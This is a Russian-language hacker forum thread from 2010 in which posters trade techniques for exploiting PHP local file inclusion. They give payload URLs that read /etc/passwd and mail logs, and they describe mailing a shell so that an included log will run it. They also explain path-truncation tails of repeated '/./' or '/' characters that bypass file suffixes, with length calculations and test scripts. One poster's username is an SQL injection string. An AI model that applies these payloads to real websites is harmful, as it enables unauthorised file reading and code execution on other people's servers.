Старый 09.08.2010, 12:44   #21
admin' or 1=1/*
Banned
 
Регистрация: 23.07.2010
Сообщений: 2
Репутация: 0
По умолчанию

Цитата:
Сообщение от it's my Посмотреть сообщение
почему не работает
PHP код:
<?php
for($i=0;$i<10000;$i++) {
    
$t '/';
    
$y $y.$t;
    @include(
"1.txt".$y.".php");
    
/* echo "<!-- 1.txt".$y.".php 
    -->"; */
    
if($a) { echo 'OK'; break; }
    else { echo 
$i."<br>"; }
    }
?>
в 1.txt
PHP код:
<?php $a true?>
Проверил на двух системах Windows XP (точка) и Linux 2.6.33 (слэш)

А версия php какая? В новых версиях багу прикрыли.
admin' or 1=1/* вне форума   Ответить с цитированием
Старый 14.08.2010, 17:07   #22
.Slip
 
Аватар для .Slip
 
Регистрация: 30.06.2010
Сообщений: 49
По умолчанию

Цитата:
Сообщение от admin' or 1=1/*
А версия php какая? В новых версиях багу прикрыли.
В каких именно?
.Slip вне форума   Ответить с цитированием
Старый 01.09.2010, 22:01   #23
Shadow
 
Регистрация: 01.07.2010
Сообщений: 35
Репутация: 55
По умолчанию

mail
Как показывает практика последних дней, при локальном инклуде, не стоит забывать про возможность проинклудить файлы и логи почтовых служб, естественно предварительно отправив соответствующее письмо с необходимым кодом или шеллом.

Например,
index.php?page=../../../../../var/log/maillog
или
index.php?page=../../../../../var/spool/mail/user

Естественно если хватит прав (=
Shadow вне форума   Ответить с цитированием
Старый 22.09.2010, 21:15   #24
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от Shadow Посмотреть сообщение
Универсальный null byte.
В такой ситуации, также существует возможность реализовать внедрение произвольного PHP-кода с использованием двух особенностей в функциях PHP, используемых для взаимодействия с файловой системой:
1. Нормализация пути. Интерпретатор PHP обрабатывает строку, содержащую путь до файла или папки, особым образом, в частности лишние символы «/» и «/.» удаляются.
2. Усечение пути. Интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
В результате можно составить запрос, содержащий в передаваемом серверу параметре необходимое число символов «/» или «/.»:

Код:
index.php?page=/etc/passwd//[…]//      –>      include(/etc/passwd)
Количество символов «/» отличается на разных платформах, но в большинстве случаев максимальная длина полного пути (т.е. после преобразования относительного в абсолютный путь) равна 4096 байт.
Дополню, ибо описанное в статье не совсем верно.

include(prefix + $_GET['payload'] + suffix);

Требования к префиксу: Префикс обязательно должен начинаться с буквы.
В этих случаях суффикс отбросить возможно (переменную контролирует атакующий):
  • include("any/".$thing . ".txt");
  • include("$anything" . ".txt");

А в этих - нет.
  • include("./$anything" . ".txt");
  • include("../$anything" . ".txt");
  • include("/var/www/$anything" . ".txt");

Методы: Есть два универсальных кроссплатформенных (?) метода эксплуатировать данную уязвимость

1) Отбрасывание суффикса хвостом из /./././[4100]/././././ с контролем чётности через несуществующую папку.
В общем случае это выглядит так
Код:
include("lang/" . "nonexistenttttt/../../../../../etc/passwd/./././././[4100]/././././" . ".php");
Нужно дописывать/удалять одну букву t в фиктивной папке nonexistentttt, чтобы обрезание пришлось на слеш, а не на точку.
Первая папка не обязательно должна быть настоящей
Код:
include("nonexistenttt/../../../../../etc/passwd/./././././././././[4100]/./././././././" . ".php");
Количество символов в хвосте не важно, главное, чтобы хвост был длиннее MAX_PATH (4096 для линукса), но короче ограничения на максимальный запрос (8k+ для обычных конфигураций)
Для suhosin максимальная длинна запроса 4096, и на первый взгляд это проблема, но засчёт того, что относительный путь будет преобразован в "/var/www/site.com/nonexistentttt/../../../[....]", в примере выше образуется дельта в 18 байт, и метод будет работать.

2) Вытеснение суффикса промежуточным слешем.
На выходе, в отличие от других методик, получается валидный путь.
Код:
$ cat ../../../../../../../etc////////////passwd
root:*:0:0:System Administrator:/var/root:/bin/sh
Я не рекомендую использовать несуществующую папку с этим методом.

В общем случае метод выглядит так:
Код:
include("lang/" . "../../../etc/////////[40xx]////////passwd" . ".php");
Недостаток метода номер 2 - он требует точности. После преобразования относительного пути в абсолютный количество символов до суффикса должно быть равно MAX_PATH минус один, слешем больше/меньше - уже мимо.

Подсчитывается так:
Смотрим на ошибку
Цитата:
Warning: include(wtf) [function.include]: failed to open stream: No such file or directory in /home/rumbauser/rumbaisland.net/page.php on line 5
Берём из неё абсолютный путь, склеиваем с нашим запросом, подгоняем
strlen("/home/rumbauser/rumbaisland.net/"+"lang/../../../../../etc////////////[40xx]///////////passwd") = 4095 для линукса. Всё, что за этой границей - будет отрезано.

Версии: ветка 5.3.* не уязвима, до неё - уязвимы.

Другое: nginx может мешать реализовать уязвимость. Иногда его можно обойти, обратившись на другой порт к апачу напрямую. mod_rewrite также может мешать, лучше работать с сырыми параметрами.
include_path должен содержать хоть один абсолютный путь
---
Если вы встретили случай, который не укладывается в эти простые правила - отписывайтесь.

Последний раз редактировалось tipsy; 15.12.2010 в 10:39..
tipsy вне форума   Ответить с цитированием
Старый 23.09.2010, 02:58   #25
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

v1d0q прислал хороший пример, пост обновлён. Второй метод универсальнее, подтверждено.
tipsy вне форума   Ответить с цитированием
Старый 23.09.2010, 12:34   #26
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию

Хотелось немного уточнить на счет дополнения от tipsy, как именно может быть косяк. Если допустим имеем инклуд типа:

index.php?script=file

Код HTML:
include(folder/file.php)
Но сам include обрабатывается допустим по адрессу

Код HTML:
/red/main.php
Для того чтобы выполнить include для файла index.php, который находится в корне => /, следует общаться на 2 папки вверх, т.е.:

Код HTML:
index.php?script=../../index
Include будет работать в обоих случаях (с "../" и "../../"), но заменить null байт с помощью //[n]// в первом варианте получится.

Подсчет нужно вести учитывая папку "red", т.е.:

Код HTML:
"/home/www/site/"+"folder/"+"red/../../../../../etc////////////[40xx]///////////passwd"
Tnx tipsy за помощь в поиске ответов.
v1d0q вне форума   Ответить с цитированием
Старый 08.10.2010, 19:32   #27
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Другими словами, путь надо строить не от главного скрипта, а от скрипта, в котором вываливается ошибка инклуда.
tipsy вне форума   Ответить с цитированием
Старый 19.10.2010, 16:49   #28
che
 
Аватар для che
 
Регистрация: 05.07.2010
Сообщений: 144
Репутация: 166
По умолчанию

у меня почему то срабатывает при трёх значениях MAX_PATH 4095 4113 4114


PHP код:
$patch='/home/admin/web/home.ru/html/test/';

$sstr=str_repeat("/"4000);
for(
$i=0;$i<=100;$i++){
    
$sstr.='/';
    echo 
strlen($patch.'inc/../../../../../../../../../../../../../../../etc/'.$sstr.'/passwd')."\r\n";
    @include(
'inc/../../../../../../../../../../../../../../../etc/'.$sstr.'/passwd_config.php');

PHP/5.2.6-1+lenny3 with Suhosin-Patch
che вне форума   Ответить с цитированием
Старый 19.10.2010, 17:30   #29
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от che Посмотреть сообщение
у меня почему то срабатывает при трёх значениях MAX_PATH 4095 4113 4114
На первый взгляд, инклудится /etc/passwd (4095), потом /etc/ (4113), потом /etc (4114)
upd хотя не сходится по длинне. Хм.

Думаю, что дело в том, что сухозин/php при нормализации пути пробуют найти файл не только по полному, указанному тобой пути, но и по путям в INCLUDE_PATH.
Если вычесть 18 лишних байт, получится как раз /home/admin/web/.

Последний раз редактировалось tipsy; 19.10.2010 в 17:43..
tipsy вне форума   Ответить с цитированием
Старый 19.10.2010, 18:31   #30
che
 
Аватар для che
 
Регистрация: 05.07.2010
Сообщений: 144
Репутация: 166
По умолчанию

include_path .:/usr/share/php:/usr/share/pear

14 и 15 байт, что то как то не стыкуется
che вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot